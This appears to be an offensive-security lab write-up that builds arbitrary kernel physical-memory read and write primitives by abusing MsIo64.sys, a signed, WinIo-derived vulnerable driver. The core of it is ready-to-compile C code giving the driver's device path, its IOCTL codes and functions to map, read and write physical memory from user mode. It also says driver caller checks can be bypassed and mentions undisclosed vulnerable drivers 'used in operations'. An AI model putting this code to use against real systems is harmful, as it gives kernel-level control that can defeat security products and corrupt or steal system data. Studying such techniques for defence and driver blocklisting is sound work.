Arbitrary Ring 0 Physical Memory Read/Write

Objectives

The purpose of this lab is to develop arbitrary Ring 0 physical memory read and write primitives by leveraging a signed and vulnerable third-party software device driver that allows us to map physical memory to our User-Mode process.

A Short Prelude to Signed and Vulnerable Drivers

You might have already heard a ton of chatter about how some driver devs wrote copy-pasta'd a lot of crappy code back in ye olden days and how the same drivers came back to bite the very foundations of OS security boundaries in its arse so I will not waste your time with that.
In fact, there are so many of these bad drivers in existence that
I heard you like memes so...
But jokes apart, these vendors used driver samples available freely primarily from the following two sources with little to no modification:
1. WinIo project by Yariv Kaplan
2. WinRing0 project by hiyohiyo
The problem arises from the fact that these drivers themselves were not written with the potential security implications in mind and the authors of these drivers can hardly be blamed for that. However, the same cannot be said for the hardware vendors who decided to blindly copy-paste from these very same sources for their drivers.
These software device drivers(non-PnP drivers) are not tied to a specific hardware device and are used to manage/control system resources that are not available or exposed from User-Mode.
As a result of unfettered access, these bad drivers expose quite a variety of "interesting functionalities" to us including(but not limited to):
1. Ability to map/unmap physical memory either via MmMapIoSpace or ZwOpenSection + ZwMapViewOfSection or MmMapMemoryDumpMdl
2. Ability to read and write arbitrary Model Specific Registers(MSRs) via exposed __rdmsr(rdmsr) and __wrmsr(wrmsr)
3. Ability to read and write Control Registers
4. Ability to read and write I/O Ports
There are also "actual bugs" in device drivers including Buffer Overflow, Arbitrary Overwrite, Null Pointer Dereference etc. which leads to Ring 0 code execution. However, they usually come with some constraints ergo will be the topic of another post.
In this lab, we are going to be dealing with the first case only i.e. mapping physical memory which leads to us gaining an extremely powerful primitive - arbitrary Ring-0 physical memory R/W.
With this primitive built, there are two categories of attacks we can opt for:
1
1. Ring-0 code execution
2
2. Data/Data Corruption attacks
Copied!
Note that it's not uncommon for these bad drivers to have more than one type of the above bugs features.

Selecting a Proxy Driver

Now that we know what we're looking for, the question that arises is where do we actually look for it?
I can tell you the kind of software that tends to be shipped with these buggy drivers:
1
1. CPU/GPU overclocking software
2
2. System monitoring/Diagnostic/Benchmarking software
3
3. Device control(fan/RGB-lighting control) software
Copied!
Keep in mind that this is not an exhaustive list and there are more varieties that bundle these drivers but this is primarily what you should keep an eye out for.
Totally original meme #2
For the purposes of this lab, I have chosen to go with a publicly disclosed driver - MsIo64.sys(MICSYS Technology Co. Ltd.) that is shipped with Viper RGB v1.0 and MSI Ambient Link v1.0.0.8 among other products. This driver is associated with the following CVEs(albeit different versions):
1
1. CVE-2019-18845
2
2. CVE-2020-17382
Copied!
I have already taken the time to analyze it and confirmed that it is a clone of the WinIo library. This is significant in terms of cutting productization costs because it implies that we do not have to reverse the driver sample to figure out how to interact with it or even the User-Mode helper DLL that comes with it since we already have the source code of both.
It should also be worth noting that this driver is Attestation Signed or in other words, it has a WHQL countersignature. This implies that it will load even on the latest Windows 10 builds with SecureBoot enabled.
However, it should be noted that this driver will not load when HVCI is enabled due to it being present in the WDAC blacklist of known bad drivers.
The SHA-256 hash of the driver:
1
525d9b51a80ca0cd4c5889a96f857e73f3a80da1ffbae59851e0f51bdfb0b6cd
Copied!
Remember that if a driver name contains Io there's a 90% chance that it is based on the WinIo project.
I do have some previously undiscovered(publicly at least) WHQL Signed vulnerable drivers in my arsenal. However, I do not wish to burn them right now as they are being actively used in operations and dropping 0-days was never the goal of this lab. I can tell you though that it is still possible to find these drivers if you know where to look and have a little bit of luck for it is a lot like finding a four-leaf clover.

Deriving the Primitive

Now that we have selected a target driver, let's get down to deriving the physical memory read/write primitives.
The steps for doing so are:
1. The first step is obtaining a handle to the driver's nt!_DEVICE_OBJECT structure via the symbolic link that the driver creates. This is established with the help of NtCreateFile NTAPI function(or CreateFileA/W Win32API function).
Getting the driver handle
Note here that we do not care if the driver allows low/medium-privileged users to interact with it since we are already in High-IL in a BYOVKD scenario. Also, beware that there are some drivers that implement some kind of caller checks meant to control who can talk to it. However, these are a feeble stopgap solution at best and can be bypassed with a little bit of analysis.
2. Next step is to figure out how to interact with the driver. This would have required us to reverse the driver(or the User-Mode DLL) but as I said before, we can skip this step since we already have the source code of both available.
Interacting with the driver
Here is the structure that we use for mapping/unmapping physical memory:
1
// Ref: https://github.com/starofrainnight/winio/blob/master/Source/Drv/winio_nt.h
2
struct tagPhysStruct {
3
DWORD64 dwPhysMemSizeInBytes;
4
DWORD64 pvPhysAddress;
5
DWORD64 PhysicalMemoryHandle;
6
DWORD64 pvPhysMemLin;
7
DWORD64 pvPhysSection;
8
};
Copied!
And here are the two I/O Control Codes(IOCTLs) for mapping and unmapping physical memory respectively:
1
#define WINIO_IOCTL_INDEX 0x810
2
3
1. #define IOCTL_WINIO_MAPPHYSTOLIN CTL_CODE(FILE_DEVICE_WINIO, WINIO_IOCTL_INDEX, METHOD_BUFFERED, FILE_ANY_ACCESS)
4
5
2. #define IOCTL_WINIO_UNMAPPHYSADDR CTL_CODE(FILE_DEVICE_WINIO, WINIO_IOCTL_INDEX + 1, METHOD_BUFFERED, FILE_ANY_ACCESS)
Copied!
Now that we have this knowledge at hand, we can map/unmap physical memory by sending an I/O Request Packet(IRP) to the device driver with the appropriate IOCTL and buffer filled with our desired parameters using NtDeviceIoControlFile NTAPI function(or DeviceIoControl Win32API function).
This IRP will be handled by the target device's IRP_MJ_DEVICE_CONTROL dispatch routines responsible for mapping/unmapping physical memory.
In case you haven't noticed yet, WinIo(and by extension its derivatives) use ZwOpenSection + ZwMapViewOfSection/ZwUnmapViewOfSection on \\Device\\PhysicalMemory section object to map/unmap physical memory into local process as it is not directly accessible from User-Mode.
3. Now that we can map/unmap physical memory at our desired base PA and size at will, let's look at how we can derive an arbitrary physical memory read/write.
To read at desired PA, we map the corresponding physical memory into our process and then use RtlMoveMemory/memmove(or RtlCopyMemory/memcpy) to copy the memory contents at this PA to our output buffer before unmapping it again.
To write at desired PA, we map the corresponding physical memory into our process and then use RtlMoveMemory/memmove(or RtlCopyMemory/memcpy) to copy our input buffer into the memory contents at mapped PA before unmapping it again. In other words, we just change the direction of the copy operation.
Now, we can successfully read or write X bytes at Y PA.

Code

Enough with all the theory, let's take a look at some code now.
Primitives.h
1
#define DEVICE_SYMBOLIC_LINK L"\\DosDevices\\MsIo" //"\\\\.\\MsIo"
2
3
#define IOCTL_MAP_PHYSICAL_MEM 0x80102040
4
5
#define IOCTL_UNMAP_PHYSICAL_MEM 0x80102044
6
7
#pragma pack(push, 1)
8
typedef struct _MAP_PHY_MEM {
9
DWORD_PTR Size;
10
DWORD_PTR PhysicalAddress;
11
HANDLE SectionHandle;
12
LPVOID BaseAddress;
13
LPVOID ReferenceObject;
14
} MAP_PHY_MEM, *PMAP_PHY_MEM;
15
#pragma pack(pop)
16
17
// Get handle to driver
18
// ------------------------------------------------------------------------
19
20
HANDLE init_driver() {
21
// Init some important stuff
22
UNICODE_STRING deviceSymbolicLinkU;
23
NTSTATUS status;
24
OBJECT_ATTRIBUTES objectAttributes = { 0 };
25
IO_STATUS_BLOCK ioStatusBlock = { 0 };
26
HANDLE driverHandle = INVALID_HANDLE_VALUE;
27
28
// Convert device symbolic link to unicode
29
RtlInitUnicodeString(&deviceSymbolicLinkU, DEVICE_SYMBOLIC_LINK);
30
31
// Get a handle to driver's Device Object
32
objectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
33
objectAttributes.ObjectName = &deviceSymbolicLinkU;
34
status = NtCreateFile(&driverHandle, GENERIC_READ | GENERIC_WRITE | WRITE_DAC | SYNCHRONIZE, &objectAttributes, &ioStatusBlock, NULL, 0, FILE_SHARE_READ, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
35
if (status != STATUS_SUCCESS) {
36
printf("[-] NtCreateFile error: 0x%X\n", status); // [DBG]
37
driverHandle = NULL;
38
}
39
40
return driverHandle;
41
}
42
43
// Map physical memory into local process VAS
44
// Uses IRP to map \Device\PhysicalMemory section object using ZwMapViewOfSection
45
// ------------------------------------------------------------------------
46
47
BOOL map_physical_memory(HANDLE deviceHandle, DWORD_PTR physicalAddress, DWORD size, LPVOID* baseAddress, PHANDLE sectionHandle, LPVOID* referenceObject) {
48
// Init some important stuff
49
NTSTATUS status;
50
IO_STATUS_BLOCK ioStatusBlock = { 0 };
51
MAP_PHY_MEM mapPhyMem = { 0 };
52
53
// Map physical memory
54
mapPhyMem.PhysicalAddress = physicalAddress;
55
mapPhyMem.Size = size;
56
status = NtDeviceIoControlFile(deviceHandle, NULL, NULL, NULL, &ioStatusBlock, IOCTL_MAP_PHYSICAL_MEM, &mapPhyMem, sizeof(MAP_PHY_MEM), &mapPhyMem, sizeof(MAP_PHY_MEM));
57
if (status != STATUS_SUCCESS) {
58
printf("[-] NtDeviceIoControlFile1 error: 0x%X\n", status); // [DBG]
59
return FALSE;
60
}
61
62
*baseAddress = mapPhyMem.BaseAddress;
63
*sectionHandle = mapPhyMem.SectionHandle;
64
*referenceObject = mapPhyMem.ReferenceObject;
65
66
return TRUE;
67
}
68
69
// Unmap physical memory from local process VAS
70
// Uses IRP to unmap \Device\PhysicalMemory section object using ZwUnmapViewOfSection
71
// ------------------------------------------------------------------------
72
73
BOOL unmap_physical_memory(HANDLE deviceHandle, LPVOID baseAddress, HANDLE sectionHandle, LPVOID referenceObject) {
74
// Init some important stuff
75
NTSTATUS status;
76
IO_STATUS_BLOCK ioStatusBlock = { 0 };
77
MAP_PHY_MEM mapPhyMem = { 0 };
78
79
// Unmap physical memory
80
mapPhyMem.BaseAddress = baseAddress;
81
mapPhyMem.SectionHandle = sectionHandle;
82
mapPhyMem.ReferenceObject = referenceObject;
83
status = NtDeviceIoControlFile(deviceHandle, NULL, NULL, NULL, &ioStatusBlock, IOCTL_UNMAP_PHYSICAL_MEM, &mapPhyMem, sizeof(MAP_PHY_MEM), NULL, 0);
84
if (status != STATUS_SUCCESS) {
85
printf("[-] NtDeviceIoControlFile2 error: 0x%X\n", status); // [DBG]
86
return FALSE;
87
}
88
89
return TRUE;
90
}
91
92
// Read physical memory primitive using physical memory map/unmap
93
// ------------------------------------------------------------------------
94
95
BOOL read_physical_memory(HANDLE deviceHandle, DWORD_PTR physicalAddress, LPVOID output, DWORD size) {
96
// Init some important stuff
97
BOOL status = FALSE;
98
HANDLE sectionHandle = NULL;
99
LPVOID referenceObject = NULL;
100
LPVOID virtualAddress = NULL;
101
102
// Map physical memory
103
status = map_physical_memory(deviceHandle, physicalAddress, size, &virtualAddress, &sectionHandle, &referenceObject);
104
if (!status)
105
return FALSE;
106
107
// Copy memory to buffer
108
RtlMoveMemory(output, virtualAddress, size);
109
110
// Unmap physical memory
111
status = unmap_physical_memory(deviceHandle, virtualAddress, sectionHandle, referenceObject);
112
if (!status)
113
return FALSE;
114
115
return TRUE;
116
}
117
118
// Write physical memory primitive using physical memory map/unmap
119
// ------------------------------------------------------------------------
120
121
BOOL write_physical_memory(HANDLE deviceHandle, DWORD_PTR physicalAddress, LPVOID input, DWORD size) {
122
// Init some important stuff
123
BOOL status = FALSE;
124
HANDLE sectionHandle = NULL;
125
LPVOID referenceObject = NULL;
126
LPVOID virtualAddress = NULL;
127
128
// Map physical memory
129
status = map_physical_memory(deviceHandle, physicalAddress, size, &virtualAddress, &sectionHandle, &referenceObject);
130
if (!status)
131
return FALSE;
132
133
// Copy buffer to memory
134
RtlMoveMemory(virtualAddress, input, size);
135
136
// Unmap physical memory
137
status = unmap_physical_memory(deviceHandle, virtualAddress, sectionHandle, referenceObject);
138
if (!status)
139
return FALSE;
140
141
return TRUE;
142
}
Copied!
And here is the output(+ some WinDbgfu to verify our results)
Establishing arbitrary Ring 0 PM R/W
Note that a physical memory R/W primitive can be thought of as equivalent to WinDbg's Display Memory(Ex: !db) and Edit Memory(Ex: !eb) commands respectively.

Links

Credits

    2.
    3.
    WinRing0
    4.
    Internals
    5.
    WinIo
    6.
    9.
    __readmsr
    10.
    13.
    15.
    16.
    21.
    22.
    25.
    VDM by _xeroxz
Last modified 5mo ago